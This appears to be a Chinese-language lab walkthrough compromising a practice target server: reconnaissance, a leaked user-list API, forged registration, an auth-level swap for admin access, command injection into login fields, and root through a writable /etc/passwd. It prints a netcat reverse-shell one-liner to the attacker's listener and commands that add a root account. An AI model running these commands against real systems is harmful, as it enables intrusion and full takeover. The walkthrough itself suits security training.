一、目标环境
攻击者(kali)、目标服务器(ubuntu)
二、信息收集
1、探测靶机
使用fscan进行探测
./fscan -h ip 段
发现目标地址,并且还发现对方开启了80端口
三、目标站点的访问以及检测
然后发现两个接口,分别是登陆和注册的
然后就是在登陆接口这边尝试一下弱口令
发现并不存在,然后通过findsomething插件发现一些目录
访问了一下/users/getUsers?limit=
发现大量的用户信息泄露,可以尝试使用这些用户在登陆接口那里进行爆破,但是所需时间较长成功的概率不大,所以这个想法就放弃了
然后访问注册页面
发现不能正常注册,于是想着从js文件入手,查看其页面的main文件
发现找到了有关用户注册的请求头信息,接着继续查找
然后又看到相关的请求体信息,接着就是通过抓包构造注册的数据包,看看能否成功注册
发现注册成功,然后在登陆接口直接登陆
接着再一次抓一下那个登陆的数据包,拦截返回包
发现里面有一个auth_level 认证的东西,然后在js里面查找一下
发现master_admin_user 这个字段,然想一下这个可能是admin的认证信息,尝试将原来的替换成admin管理员的
发现有了管理员admin的身份,说明了此处存在越权漏洞
接着就是访问那个之前看到的面板目录 --> /dashboard
下面就是随便输入账号密码,并且抓包
出现报错,表示不能直接访问/linkauthenticate 这个目录 然后上网查了一下,找到其开发的源文件
发现文件里面用到了命令执行函数,然后就是想着在账号密码这是不是可以执行命令,尝试通过靶机ping一下攻击机
命令:sudo tcpdump -i eth1 icmp and host 靶机IP and host 攻击者IP
可以通信之后可以尝试反弹shell了
命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 监听IP 端口 >/tmp/f
反弹成功
四、提权
1、查看拥有root权限的文件
命令:find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' ; 2>/dev/null
发现此处存在passwd提权,然后就是通过 perl方法将账号密码写入到/etc/passwd文件里
命令:
perl -le 'print crypt("hack", "123")' ---> 将密码加密并输出
echo 'wso:12RgFWKzAOIJM:0:0:root:/root:/bin/bash' >> /etc/passwd -->写入
python -c 'import pty; pty.spawn("/bin/bash")' --->交互式终端
su wso
密码
提权成功,获取最高权限
总结:
主要运用到的知识:构造数据包、越权、passwd提权